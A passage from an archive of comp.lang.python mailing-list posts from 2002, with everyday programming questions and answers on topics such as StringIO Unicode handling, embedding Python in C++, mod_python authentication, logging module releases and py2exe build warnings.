curses.start_color() return curses.has_colors() curses.wrapper does more than you need. I use something like the above in my $PYTHONSTARTUP file to give me a coloured prompt. -- |>|\/|< /--------------------------------------------------------------------------\ |David M. Cooke |cookedm(at)physics(dot)mcmaster(dot)ca From amuys at shortech.com.au Tue May 7 20:06:26 2002 From: amuys at shortech.com.au (Andrae Muys) Date: 7 May 2002 17:06:26 -0700 Subject: Using functional tools References: <3CD39DAD.D5BC3F9C@vip.fi> <82znzgaw4x.fsf@acropolis.localdomain> <82sn58avea.fsf@acropolis.localdomain> Message-ID: <7934d084.0205071606.65f928a0@posting.google.com> Patrick W wrote in message news:<82sn58avea.fsf at acropolis.localdomain>... > Patrick W writes: > > [...] > > Or, if the OP's religion forbids 'fors' or 'whiles' under any > circumstances: > > def do_every_nth(seq, func, n): > def transform(item, index): > if index % n == n - 1: return func(item) > else: return item > return map(transform, seq, range(len(seq))) Alternatively you can use the "obsolete" apply() and simplify the code substantially. def identity(x): return x def trans(x): return x*10 >>> l = range(5) >>> f = [identity, trans] # trans() every second item in list >>> >>> list(xmap(apply, xextend(f), zip(l))) [0, 10, 2, 30, 4] The zip() is required to convert the list of int's into a list of tuple's for use by apply. Note you can use multiple argument functions by simply adding extra sequence arguments to zip(). xextend => seq * infinity xmap => lazy map, that terminates upon exhaustion of any of it's arguments. I implement these as follows: def xmap(func, *args): iterlist = [iter(arg) for arg in args] while 1: yield func(*[itr.next() for itr in iterlist]) def xextend(seq): while 1: for i in seq: yield i Andrae Muys From jtdubs at eos.ncsu.edu Wed May 29 20:58:43 2002 From: jtdubs at eos.ncsu.edu (Justin Dubs) Date: Thu, 30 May 2002 00:58:43 GMT Subject: Passing values from C++ to embedded python. Message-ID: <7PeJ8.27836$Ir1.1692191@twister.southeast.rr.com> Hey everyone, I have a C++ app in which I have embedded the python interpreter. I have a thread which does the simple Py_Initialize(), PyRun_InteractiveLoop(), Py_Finalize() business using stdin and stdout. Meanwhile the main thread does all the regular functionality of the app in another window. I have several classes, written in C++, which I have wrapped with SWIG and compiled into a shared library. C++ can instantiate the original classes, obviously, as they are written in C++. Python can instantiate the wrapped classes from the shared library and that also works perfectly. So, my problem is thus: If I have a pointer to an instance of one of these classes in C++, how can I create a python variable that points to the same instance? In other words, in pseudocode: In C++: MyClass *foo = new MyClass(); foo->SetAnswer(42); // insert unknown code to communicate foo to python In Python, from my interactive interpreter running on stdin and stdout within the C++ app: # insert unknown code to receive foo from c++ >>> foo.getAnswer(); 42 I hope you can understand what I am trying to accomplish. I need to make python aware of an instance of a variable that exists in C++. I tried doing this some simple ways from C++ using PyCObject_* and PyInstance_* and PyNew_* and other things. But, alas, I am but a beginner with the Python/C API and I could really use some help. Thanks a lot everyone, Justin Dubs From marcus1 at marcus1.de Sat May 11 10:32:16 2002 From: marcus1 at marcus1.de (Marcus Klein) Date: Sat, 11 May 2002 16:32:16 +0200 Subject: [Newbie Question] Matching directory content with variable Message-ID: Hi out there, I am trying to match a directory content with a variable to avoid overwriting an existing file and it does not work. Maybe someone knows why ? --8<-- for f in TOGET: print "getting remote file ", f fname = PATHTOFILE + f lfiles = os.listdir(PATHTOFILE) lfile = re.compile(f, re.M).match(lfiles, 1) if lfile: print "Warning: File exists locally" exit(5) -->8-- leads to --8<-- Traceback (most recent call last): File "py/getftp.py", line 33, in ? lfile = re.compile(f, re.M).match(lfiles, 1) TypeError: expected string or buffer -->8-- thanx in advance, marcus -- sick nature ? From sholden at holdenweb.com Mon May 6 17:32:17 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 6 May 2002 17:32:17 -0400 Subject: XML: minidom toxml() does not work for non English files! :-( References: Message-ID: Well, at the start of the __init__ we see: self.buf = str(buf) self.len = len(buf) This is clearly wrong, and the second line should be self.len = len(buf) This is why you are only getting three characters back! I've reported this with the suggested patch as bug # 553031, but you can make the same change in your own version of the library if you want. After this fix I get: Python 2.2 (#1, Dec 31 2001, 15:21:18) [GCC 2.95.3-5 (cygwin special)] on cygwin Type "help", "copyright", "credits" or "license" for more information. >>> import StringIO >>> StringIO.StringIO([1,2,3]).read() '[1, 2, 3]' >>> regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ "Brian Quinlan" wrote in message news:mailman.1020716352.19549.python-list at python.org... > I have no idea what the problem is, but the coercion to string strikes > me as sloppy. > > Does anyone actually believe that the following (from PythonLabs Python > 2.2) is reasonable? > > >>> StringIO.StringIO([1,2,3]).read() > '[1,' > > Also, > > - if type(buf) is not types.UnicodeType > + if not isinstance(buf, types.UnicodeType) > > Cheers, > Brian > > > From erno-news at erno.iki.fi Wed May 8 10:10:06 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 08 May 2002 17:10:06 +0300 Subject: Multibyte Character Surport for Python References: Message-ID: In article , loewis at informatik.hu-berlin.de (Martin v. L?wis) writes: | So far, it appeared that there is wide agreement that identifiers in | Python should be ASCII only. Do you disagree, i.e. do you *really* | want to use non-ASCII identifiers? what would be the advantage in preventing non-english-speaking people from using python? -- erno From cliechti at gmx.net Tue May 7 17:05:32 2002 From: cliechti at gmx.net (Chris Liechti) Date: 7 May 2002 23:05:32 +0200 Subject: "Inserting" a line in a text file? References: Message-ID: "Duncan Smith" wrote in news:ab9duj$dre$1 at newsg4.svr.pol.co.uk: > I need to (in effect) insert a single line at the beginning of an > existing text file (a dumped MySQL database, so potentially large). > Is there anything cuter than eg. creating a temporary file containing > the single line, reading the lines from the data file, appending them > to the temporary file, deleting the data file, renaming the temporary > file? Currently on Win2000, but the solution needs to be cross > platform. I can always go with the obvious, but something faster and > / or simpler would be nice (I might even learn something). Cheers. > TIA. well you could open the file in bianary read/write and append mode ('ab+'), append an empty sequence of the length of your line, then seek to - BLOCKSIZE*n, copy it seek to -(BLOCKSIZE+len(line))*n, write it. do this for 0 From tom at studentuniverse.com Wed May 1 16:53:51 2002 From: tom at studentuniverse.com (Russo, Tom) Date: Wed, 1 May 2002 16:53:51 -0400 Subject: Polymorphing - how? Message-ID: > I would like to execute functions which names will be changed during > runtime. The following approach does not work. :-( > > def First(s): > print "myFun1: %s" % s > def Second(s) > print "myFun2: %s" % s > name = 'First' ^^^^^^^^^^^^^^^^^^ this line is the problem > name('blah') # It doesn't work. :-( > # TypeError: 'str' object is not callable > name = 'Second' ^^^^^^^^^^^^^^^^^^^^^^ along with this one. You want to say: name = First name = Second _not_ 'First' or 'Second' The way you're doing it now just puts a string into the variable name. Assigning without the single quotes around First and Second puts the relevant function object into name. _t > name('blah') # Like above. > > The following code in PHP does work: > > function First($s) { print "myFun1: $s"; } > function Second($s) { print "myFun2: $s"; } > > $name = 'First'; > $name('blah'); # It works. > print "\n"; > $name = 'Second'; # It works. > $name('blah'); > ?> > > Is it possible for Python? > > -- > Jaros?aw Zabie??o (UIN: 6712522) > URL: http://3585753410/~zbiru > -- > http://mail.python.org/mailman/listinfo/python-list > From trentm at ActiveState.com Mon May 6 16:03:07 2002 From: trentm at ActiveState.com (Trent Mick) Date: Mon, 6 May 2002 13:03:07 -0700 Subject: XML: minidom toxml() does not work for non English files! :-( In-Reply-To: ; from webmaster@apologetyka.com.pl on Sat, May 04, 2002 at 09:34:55AM +0200 References: Message-ID: <20020506130307.A12413@ActiveState.com> Micheal, Marc-Andre, Perhaps you could help me shed some light on this. There are two issues that I see: 1. The actual problem that Jaros?aw reported. > from xml.dom import minidom > xmldoc = minidom.parse('myfile.xml') > print xmldoc.toxml() > > It works for 7-bit text fine. But the problem is it works ONLY for > pure ASCII text. :-( If I try to use any of non English characters, > Python raise an exception: > > UnicodeError: ASCII encoding error: ordinal not in range(128) Jaros?aw mentions that the problem goes away if he replaces ActivePython 2.2.1's StringIO.py with the one from the PythonLabs distro. That would be fine (a bug in ActivePython) except that ActivePython has the more *recent* StringIO.py. So is Jaros?aw misusing StringIO.py or is this StringIO.py checkin incorrect or am I confused: MAL's checkin on the trunk: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/StringIO.py.diff?r1=1.19&r2=1.20 Micheal's back port to Python 2.2: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/StringIO.py.diff?r1=1.19&r2=1.19.12.1 2. It looks to me like Python 2.2.1 does *not* include the StringIO.py that is part of the 'r221' Python CVS tag. Am I wrong? Any insight would be appreciated. Thanks, Trent Further information: - StringIO CVS log: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/StringIO.py - diff of Python Labs' 2.2.1 StringIO.py with StringIO.py in CVS at the 'r221' tag: C:\>diff -u C:\PythonLabs22\Lib\StringIO.py D:\cvs\python-r221\dist\src\Lib\StringIO.py --- C:\PythonLabs22\Lib\StringIO.py Mon Sep 24 13:34:52 2001 +++ D:\cvs\python-r221\dist\src\Lib\StringIO.py Mon Mar 18 05:31:30 2002 @@ -28,7 +28,7 @@ bytes that occupy space in the buffer. - There's a simple test set (see end of this file). """ - +import types try: from errno import EINVAL except ImportError: @@ -38,8 +38,10 @@ class StringIO: def __init__(self, buf = ''): - # Force self.buf to be a string - self.buf = str(buf) + # Force self.buf to be a string or unicode + if type(buf) not in types.StringTypes: + buf = str(buf) + self.buf = buf self.len = len(buf) self.buflist = [] self.pos = 0 @@ -135,8 +137,9 @@ if self.closed: raise ValueError, "I/O operation on closed file" if not s: return - # Force s to be a string - s = str(s) + # Force s to be a string or unicode + if type(s) not in types.StringTypes: + s = str(s) if self.pos > self.len: self.buflist.append('\0'*(self.pos - self.len)) self.len = self.pos [Jaros?aw Zabie??o wrote] > I have a small code: > > from xml.dom import minidom > xmldoc = minidom.parse('myfile.xml') > print xmldoc.toxml() > > It works for 7-bit text fine. But the problem is it works ONLY for > pure ASCII text. :-( If I try to use any of non English characters, > Python raise an exception: > > UnicodeError: ASCII encoding error: ordinal not in range(128) > > It does NOT work even on utf-8 xml files with any character outside > 7-bit ASCII character set. It is strange, because utf-8 should be > correctly parsed by all xml tools. > > Is it mean toxml() or toprettyxml() methods of minidom are useless for > non English strings? I need them to cut one big xml file into smaller > pieces and write them into several files. [Jaros?aw Zabie??o wrote] > I found a solution. > > The last release of ActivePython has bad StringIO.py file! I compare > it with Python 2.2.1rc from www.python.org _which works fine_. -- Trent Mick TrentM at ActiveState.com From eric at enthought.com Sat May 4 00:35:53 2002 From: eric at enthought.com (eric) Date: Sat, 4 May 2002 00:35:53 -0400 Subject: Extending python with C References: Message-ID: <052001c1f325$2db37640$6b01a8c0@ericlaptop> Hey Henrik, You've put together a nice example. Thanks for taking the time to write this up. I thought I'd also give an example of how to do the same thing using weave which allows you to mix C++ directly into Python. regards, eric C:\home\ej\examples>python weave_isprime.py 1230 67.8978202537 1230 2.70180455896 # weave_isprime.py import weave def py_isprime(input): if input < 1: return 0 n = input-1 while n > 1: if input%n == 0: return 0 n = n - 1 return 1 def isprime(input): c_code =\ """ int n; if (input < 1) { return Py::new_reference_to(Py::Int(0)); } n = input - 1; while (n > 1){ if (input%n == 0) return Py::new_reference_to(Py::Int(0)); n--; } return Py::new_reference_to(Py::Int(1)); """ return weave.inline(c_code,['input']) def time_prime(func,n): import time results = [] t1 = time.clock() for i in range(n): if func(i): results.append(i) t2 = time.clock() print len(results), t2-t1 if __name__== "__main__": n = 10000 time_prime(py_isprime,n) time_prime(isprime,n) ----- Original Message ----- From: "Henrik H?rk?nen" Newsgroups: comp.lang.python Sent: Friday, May 03, 2002 4:51 AM Subject: Extending python with C > Hi! > > I found that the possibility to extend Python with C is indeed very nice > feature of Python! Exited by this, I made little testings how much speed > up in some python programs can be accomplished. I also wrote a little > 'note' about it, if anyone is interested, check > > http://kortis.to/radix/python_ext/ > > It includes two graphs which shows the difference between a pure C program > and a combination of Python and C. > > So far, Python has never stopped to amaze me how nice things really can be > in programming today. :) > > -- > Henrik H?rk?nen [ http://kortis.to/radix ] From vinay_sajip at yahoo.co.uk Fri May 3 08:37:06 2002 From: vinay_sajip at yahoo.co.uk (Vinay Sajip) Date: 3 May 2002 05:37:06 -0700 Subject: ANN: Logging Module v0.4.4 released Message-ID: <2e37dc1.0205030437.5e599b9d@posting.google.com> A new version of the proposed Python standard logging module (as per PEP 282) has been released. You can get all the information from http://www.red-dove.com/python_logging.html There are "download" and "recent changes" links at the top of that page. The new stuff is mostly tidying up, but includes a new example filter, the ability to stop the test servers in logrecv.py programmatically, easier FileHandler rollover, a new Filter for more precise match-based filtering, and more! One notable change is that SOAPHandler moves from the core to an example script. The same functionality is available - it's just that since RPC method signatures will probably differ from user to user, there's no point to hardcoding one in the logging module. Another change is that some of the scripts can now be called from a single test harness, log_test.py. This produces files stdout.log and stderr.log which could be used for regression testing. As always, your feedback is most welcome (especially bug reports, patches and suggestions for improvement). Cheers Vinay Sajip Red Dove Consultants Ltd. Changes since the last version: ================================= getEffectiveLevel() returns ALL instead of None when nothing found. Modified references to level=0 to level=ALL in a couple of places. SocketHandler now inherits from Handler (it used to inherit from StreamHandler, for no good reason). getLock() renamed to createLock(). Docstring tidy-ups, and some tidying up of DatagramHandler. Factored out unpickling in logrecv.py. Added log_test18.py to illustrate MatchFilter, which is a general matching filter. Improved FileHandler.doRollover() so that the base file name is always the most recent, then .1, then .2 etc. up to the maximum backup count. Renamed formal args and attributes used in rollover. Changed LogRecord attributes lvl -> levelno, level -> levelname (less ambiguity) Formatter.format searches for "%(asctime)" rather than "(asctime)" Renamed _start_time to _startTime. Formatter.formatTime now returns the time. Altered logrecv.py to support stopping servers programmatically. Added log_test.py as overall test harness. basicConfig() can now be safely called more than once. Modified test scripts to make it easier to call them from log_test.py. Moved SOAPHandler from core to log_test13.py. It's not general enough to be in the core; most production use will have differing RPC signatures. From Bill.Scherer at VerizonWireless.com Fri May 3 10:19:35 2002 From: Bill.Scherer at VerizonWireless.com (Scherer, Bill) Date: Fri, 3 May 2002 10:19:35 -0400 (EDT) Subject: wither xsl? Message-ID: Happy Friday all. I'd like to get xsl processing of Docbook in Python working. I have the 4suite stuff, and that works for simple (read: non-Docbook) stuff. With 4suite, either in my own code or using the 4xslt commandline tool, I get something like xml.xpath.XPathParserBase.SyntaxException: ********** Syntax Exception ********** Exception at or near "?" Line: 0, Production Number: 5 while trying to process the Sample HOWTO xml from ldp.org. I'm using the docbook xsl v 1.50. An import note here is that this is with the xsl for html generation. The xsl for text generation works fine. I tried using the libs from xmlsoft, but they are broken, at least in Python2. John Fleck's xsltproc command line tool does work with both of these xsl templates (html or text). It appears to be a lot faster than 4suite, so if I could use it via popen or some such that would work too. I've tried this but so far no luck. Are there other xsl processors I should look at? This is all on RedHat 7.1 with Python2.2. Thanks! -- Bill.Scherer at Verizon Wireless RHCE 807101044903581 From tim.one at comcast.net Tue May 28 12:20:19 2002 From: tim.one at comcast.net (Tim Peters) Date: Tue, 28 May 2002 12:20:19 -0400 Subject: 'for every' and 'for any' In-Reply-To: <20020528063311.GA83784@hishome.net> Message-ID: ABC had existential and universal quantifiers in its flavor of Boolean expressions, and they were quite Pythonic. I can't make time now to write up the details, but have written them up several times before. The most recent seems to be this brief summary: http://aspn.activestate.com/ASPN/Mail/Message/679408 From jon+usenet at unequivocal.co.uk Sun May 12 19:27:25 2002 From: jon+usenet at unequivocal.co.uk (Jon Ribbens) Date: Sun, 12 May 2002 23:27:25 -0000 Subject: High performance Python web-app References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> <7xd6w15ktk.fsf@ruckus.brouhaha.com> Message-ID: In article , Oleg Broytmann wrote: > On Sun, May 12, 2002 at 10:37:27AM -0700, Paul Rubin wrote: >> You could try fastCGI, I suppose. > > FastCGI project has not yet released Apache2 driver. Plus it appears that it is not possible to use FastCGI on Win32 because Python does not have the required 'socket.fromfd' function under Win32. From dev-python at smartology.nl Thu May 9 04:28:30 2002 From: dev-python at smartology.nl (Remy C. Cool) Date: Thu, 9 May 2002 10:28:30 +0200 Subject: authenticate on apache via mod_pyton (postgresql) ... glitch Message-ID: I'm experimenting with python/mod_python and run into a problem with autentication via apache. This is probably not the right place to ask, but the mod_pyton and apache mailinglists didn't help. ? I use the following code: # authenticate user import psycopg import string import time from mod_python import apache def authenhandler(req): ? ?pw = req.get_basic_auth_pw() ? ?user = req.connection.user ? ?# create database connection ? ?connectstring = "dbname=testbase user=tester password=test port=5432" ? ?dbconn = psycopg.connect(connectstring) ? ?dbhandle = dbconn.cursor() ? ?# define query ? ?dbhandle.execute("SELECT user_id,password FROM users WHERE ???????? ?? ? username = %s", (user,)) ? ?# retrieve results ? ?results = dbhandle.fetchall() ? ?total = len(results) ? ?if total < 1: ? ? ? # user not known on this system ? ? ? return apache.HTTP_UNAUTHORIZED ? ?else: ? ? ? if total > 2: ? ? ? ? ?# database corrupted ? ? ? ? ?return apache.HTTP_UNAUTHORIZED ? ? ? else: ? ? ? ? ?# extract user_id from list ? ? ? ? ?user_id = results[0][0] ? ? ? ? ?# get host info ? ? ? ? ?curhost = req.get_remote_host(apache.REMOTE_NAME) ? ? ? ? ?# register login try ? ? ? ? ?dbhandle.execute("""INSERT INTO login (user_id,host) VALUES ( %d,%s )""", (user_id,curhost)) ? ? ? ? ?dbconn.commit() ? ? ? ? ?# extract password from list ? ? ? ? ?passwd = string.strip(results[0][1]) ? ? ? ? ?# compare password with given ? ? ? ? ?if pw == passwd: ? ? ? ? ? ? # user authenticated ? ? ? ? ? ? return apache.OK ? ? ? ? ?else: ? ? ? ? ? ? # incorrect password ? ? ? ? ? ? return apache.HTTP_UNAUTHORIZED Authentication works. The username is looked up in the database and if the password is OK, access is granted. The problem is that for every login attempt (or page refresh) I get 4 entry's in my login table ond not one. What am I doing wrong here ? Regards, Remy Cool From cliechti at gmx.net Thu May 23 14:08:38 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 20:08:38 +0200 Subject: Extending: overloading operators (e.g. for a vector class) References: <3CEC5A54.F6EA2C82@replyto.address.invalid> Message-ID: thank you Greg and Bernhard. i'll try that can you give me a hint where such thing as the NEW_STYLE_NUMBER flags are documented? chris Greg Ewing wrote in news:3CEC5A54.F6EA2C82 at replyto.address.invalid: > Chris Liechti wrote: >> >> it seems to me tp_as_number supports __mul__ for numbers, but only for >> instances of the same type, > > Looking at the interpreter code, it looks like if you set > the NEW_STYLE_NUMBER flag in the type object, the object's > binary operator methods are called directly, regardless of > the other operand type, and without any coercion. > >> and there seems so be an other place where a __mul__ can be emulated: >> sq_repeat for sequences. can/must i define both, or none? > > It also seems that the sq_repeat slot is never called > from interpreted code any more. > > So, it appears that if you: > > 1) set the NEW_STYLE_NUMBER flag > 2) put your method in the tp_as_number->nb_multiply slot > > you will get the same result as you did with the > Python version. > -- Chris From MikePowell at smartvia.de Tue May 28 18:03:45 2002 From: MikePowell at smartvia.de (powell) Date: 28 May 2002 15:03:45 -0700 Subject: Tkinter will bei mir nicht starten References: <3e89c7ad.0205260958.37fd4c8b@posting.google.com> Message-ID: <3e89c7ad.0205281403.2f7a3e89@posting.google.com> Gerhard H?ring wrote in message news:... > There's a separate RPM for Tkinter on SuSE Linux. Ja, davon hab ich geh?rt, aber ich weis nicht wie ich es anspreche.# Bei der Installation stand gtk. Importieren lies sich das Modul auch aber ich konnte das Modul bei der 2.Zeile nicht ansprechen. also root=gtk() was jetzt ? From jepler at unpythonic.net Wed May 22 14:53:49 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 22 May 2002 13:53:49 -0500 Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? In-Reply-To: <50B466C3F4A0D5118CCA00B0D0681E3202766541@exchange-lax1.firstlogic.com> References: <50B466C3F4A0D5118CCA00B0D0681E3202766541@exchange-lax1.firstlogic.com> Message-ID: <20020522135344.B10326@unpythonic.net> On Wed, May 22, 2002 at 01:13:06PM -0500, Michael Bauers wrote: > Is there a reason for this sort of inconsistency? Yes. But nobody will tell you why. It's a sekrit. Jeff PS Part of the reason is that tuples and strings historically had no methods, but it was still deemed useful to be able to determine their length. PPS This has been discussed before... From cliechti at gmx.net Wed May 1 11:04:21 2002 From: cliechti at gmx.net (Chris Liechti) Date: 1 May 2002 17:04:21 +0200 Subject: Any CD-ROM writer support in python? References: <3CCF59F7.D5AA5EE4@attglobal.net> Message-ID: Fernando P?rez wrote in news:aann9v$p14$1 at peabody.colorado.edu: > Pierre Rouleau wrote: > >> I am looking for python based CD-ROM writer support. >> Does anyone know where I could find some python code or libraries to do >> that? > > If you're under Linux, cdrecord is _the_ standard. And you don't want to > rewrite that, trust me ;) Under Windows, no idea. cdrecord is also available for windows - i once donwloaded it, but only used mkisofs from the package. chris -- Chris From loewis at informatik.hu-berlin.de Sat May 11 03:29:33 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 11 May 2002 09:29:33 +0200 Subject: writing binary file for different platform References: <3cdbc406.16463125@news.easynews.net> Message-ID: Erno Kuusela writes: > with luck, the endianness character could make it work. but > different platforms have different data type sizes, different > floating point number formats and different alignment rules. > so generally, you cannot do it with the struct module. > > you will therefore probably need to use a platform independent > format for transferring data between your programs, such as text. A binary format could also be platform-independent, you just need to specify it precisely. Following the format that the AIX program produces is as good as any other solution - you only need to understand what the format is that it produces. Regards, Martin From dkuhlman at rexx.com Thu May 2 12:40:19 2002 From: dkuhlman at rexx.com (Dave Kuhlman) Date: Thu, 02 May 2002 09:40:19 -0700 Subject: Talking to Java from Python? References: Message-ID: Look at: http://jpe.sourceforge.net/ - Dave Etienne Labuschagne wrote: > Hi there, > > This may sound stupid, but is it possible to create a "bridge" > .dll between > Python and Java code? I am thinking of something that can be > imported by Python and also by Java (using maybe JNI?) and so be > able to get the two to > talk to each other. I know about Jython, but that is sometimes > not the solution. > > I know one can use sockets or something like XML-RPC or Soap to > get the two to communicate, but I am hoping for something more > along the lines above. > > Regards > Etienne -- Dave Kuhlman dkuhlman at rexx.com http://www.rexx.com/~dkuhlman From pyth at devel.trillke.net Tue May 21 16:25:47 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 21 May 2002 22:25:47 +0200 Subject: string module In-Reply-To: ; from mwh@python.net on Tue, May 21, 2002 at 05:26:41PM +0000 References: <3_3G8.8070$p56.2287391@newsb.telia.net> Message-ID: <20020521222547.E6509@prim.han.de> Michael Hudson wrote: > Fernando P?rez writes: > > > Michael Hudson wrote: > > > > >> So indeed, since I'm loading readline at the interactive prompt, there's an > > >> under the hood resetting of the locale. Ah, the beauty of perl-like silent, > > >> implicit global changes ;) > > > > > > Now trying playing with signals at the interactive prompt[1] > > > . I wouldn't want to live without readline, but sometimes > > > I do wish it wouldn't bugger around with stuff my application cares > > > about so much. > > > > > > > Agreed. There's not much I can do about readline (I'm not going to > > rewrite the whole thing!) > > Well, as you probably know, that's what *I* did... > > pyrepl hasn't seen much of my time of late, sadly. i just gave it a test. very interesting! it'a pity i am always using vi-bindings (even in xemacs :-). btw, Fernando already knows that i rewrote the rlcompleter module to be a lot more comfortable. It works very differently from the old rlcompleter by tokeninzing/parsing/evaluating subexpressions. My current development version (requires readline :-) is here: http://home.trillke.net/~hpk/rlcompleter2.py just import it on a pure python installation (with readline available) and play around :-) If you want to continue development i'd definitely try to integrate my rlcompleter2 module into pyrepl (and learn some emacs-bindings again :-). cheers, holger From peter at engcorp.com Thu May 30 20:04:53 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 20:04:53 -0400 Subject: What does Python offer? References: <3CF6B12F.CFD4823C@engcorp.com> Message-ID: <3CF6BE25.27788863@engcorp.com> Aahz wrote: > > In article <3CF6B12F.CFD4823C at engcorp.com>, > Peter Hansen wrote: > >Aahz wrote: > >> In article , > >> news wrote: > >>> > >>>The following has a number of links to articles describing what is special > >>>about Python: http://www.python.org/doc/Intros.html > >>> > >>>My favorite among these is Eric Raymond's "Why Python?" You should > >>>definitely read it. > >> > >> Unfortunately, www.linuxjournal.com wasn't responding yesterday, and > >> it's not responding today. > > > >Didn't Linux Journal email us and report that it was unfortunately > >unable to sustain a viable business in today's business climate? > > Sure didn't e-mail me, and www.linuxjournal.com is now responding. D'oh! As Dave Reed points out in an impending message (received via email before I can see it in Usenet :-), it was the *Embedded* Linux Journal, which was probably a related entity but in any case is defunct. My apologies for getting it wrong... I hope this doesn't turn out to be a self-fulfilling prophecy type of thing! -Peter From stojek at part-gmbh.de Mon May 27 16:16:49 2002 From: stojek at part-gmbh.de (Marcus Stojek) Date: Mon, 27 May 2002 20:16:49 GMT Subject: Again: gadfly + py2exe HELP really needed References: Message-ID: <3cf28f2f.41689171@news.easynews.net> On Sun, 26 May 2002 09:21:53 GMT, "Max" wrote: Hi, I had a similar problem some time ago. In the build_exe.py of py2exe I found the following lines: ## Hmm. These are module which are automatically available ## when wxPython is imported. ## Maybe when wxPythin is detected, these should go into mf.excludes? "wxPython": ["miscc", "windowsc", "streamsc", "gdic", "sizersc", "controls2c","printfwc", "framesc", "stattoolc", "misc2c", "controlsc","windows2c", "eventsc", "windows3c", "clip_dndc", "mdic", "imagec", "cmndlgsc", "filesysc"], although I am not really understanding what's going on here I wrote a setup file for py2exe: setup.cfg: [py2exe] optimize=2 excludes= windowsc,miscc,streamsc,gdic,sizersc,controls2c,printfwc,framesc,stattoolc,misc2c,controlsc,windows2c,eventsc,windows3c,clip_dndc,mdic,imagec,cmndlgsc,filesysc et voila, all warnings dissapeared and the exe file worked. From reading the docs I would have guessed that the program should work even with the warnings (That's why they are called warnings and not errors, so maybe you have a different problem on top.) Did you try the installer ? I think there is a debug option somewhere that might tell you more. Did you check your code for things like: exec "from "+ modulename +" import *"? A second thing is the os.path warning. In my case found the corresponding import line in the file vtkpython.py where it was used for an testing function that I bluntly deleted. In my code I use import os and os.path.something.... this works fine. I have absolutely no idea why import os.path doesn't. Again, as I am a Newbie don't rely on my posting, but it worked for me. Marcus > >copying C:\Python22\lib\site-packages\gadfly\kjbuckets.pyd -> >dist\SMPNotaMain >warning: py2exe: >*************************************************************** >********** >warning: py2exe: * The following modules were not found: >warning: py2exe: * cmndlgsc >warning: py2exe: * imagec >warning: py2exe: * clip_dndc >warning: py2exe: * windows3c >warning: py2exe: * filesysc >warning: py2exe: * eventsc >warning: py2exe: * windows2c >warning: py2exe: * controlsc >warning: py2exe: * ic >warning: py2exe: * misc2c >warning: py2exe: * controls2c >warning: py2exe: * os.path >warning: py2exe: * windowsc >warning: py2exe: * stattoolc >warning: py2exe: * mdic >warning: py2exe: * gdic >warning: py2exe: * sizersc >warning: py2exe: * printfwc >warning: py2exe: * streamsc >warning: py2exe: * miscc >warning: py2exe: * framesc >warning: py2exe: >*************************************************************** >********** From ASkwar at DigitalProjects.com Thu May 2 15:21:58 2002 From: ASkwar at DigitalProjects.com (Alexander Skwar) Date: Thu, 2 May 2002 19:21:58 +0000 Subject: Killing a running thread In-Reply-To: <20020502150017.B25531@eecs.tufts.edu> References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <20020502131214.GI13641@teich.Garten.DigitalProjects.com> <20020502100911.A16352@eecs.tufts.edu> <20020502144016.GA16810@teich.Garten.DigitalProjects.com> <20020502150017.B25531@eecs.tufts.edu> Message-ID: <20020502192158.GE4979@teich.Garten.DigitalProjects.com> ?Michael Gilfix? sagte am 2002-05-02 um 15:00:17 -0400 : > Just write your own map that's threadable, i.e, applies a function > to each argument in the list and appends it. Should be trivial to > write and you can check the threaded argument. Wouldn't this be way slower than the built in map? Alexander Skwar -- How to quote: http://learn.to/quote (german) http://quote.6x.to (english) Homepage: http://www.iso-top.de | Jabber: askwar at a-message.de iso-top.de - Die g?nstige Art an Linux Distributionen zu kommen Uptime: 1 hour 14 minutes From fperez528 at yahoo.com Tue May 7 17:39:50 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 07 May 2002 15:39:50 -0600 Subject: pricision of string.atof? References: Message-ID: Elvis Chen wrote: > thx. This is the exact info I'm looking for. I'm aware how numbers are > represented in a computer (hardware level), I just don't know how python > does it internally (being a python newbie). > Python is written in C (ignoring jython for the time being), and python floats are C doubles. There is no native python data type that uses C floats. Python's integers are typically 32-bit integers (architecture dependent, I believe), but Python also has arbitrary-length integers (obviously not implemented as any native C type). Cheers, f. From grahamd at dscpl.com.au Thu May 23 19:10:15 2002 From: grahamd at dscpl.com.au (Graham Dumpleton) Date: 23 May 2002 16:10:15 -0700 Subject: python-friendly web hosts: buyer beware References: Message-ID: Rob Andrews wrote in message news:... > > (http://valueweb.net/products/enterprise_hosting.html proudly advertises > Python as an "Advanced Feature" of their $299.00/month Enterprise Hosting > package.) For that amount of money, you would be much better going to iServer (now part of viaVerio). From about a third of that price you get your own virtual host to which you can telnet/ssh and get full UNIX shell access to do what you want. This includes being able to set up your own email accounts, manage your own HTTP server configuration as well as being able to install a whole host of different prebuilt packages as required, including Python and Zope. They have a range of different configurations of the Virtual Private Server type based on BSD UNIX, each giving different amounts of disk space from 250MB up to 1.2GB. There is also no additional bandwidth charges, just the fixed monthly fee. For details, check out: http://www.iserver.com BTW, I am a happy customer, no more. From shagshag13 at yahoo.fr Wed May 29 06:52:27 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Wed, 29 May 2002 12:52:27 +0200 Subject: No parsers found... References: <921D7A043jhewebdeagde@194.45.170.159> Message-ID: i have [~/local/lib 510 ] ls libexpat.a libexpat.so libexpat.so.0.1.0 libexpat.la libexpat.so.0 python2.2 but it's look like python doesn't find it no ? i should have missed something... > so i've installed expat but it still doesn't work, > > i do > ./configure --prefix=/home/shagshag/local > make > make install > > and then samething for python. I think that i had forgotten something, like > to set an env var, or to to change a path... > > i must use it from my home/shagshag/local as i *can't* ask root to do it for > me. > > thanks in adv, > > s13. > > > From peter at 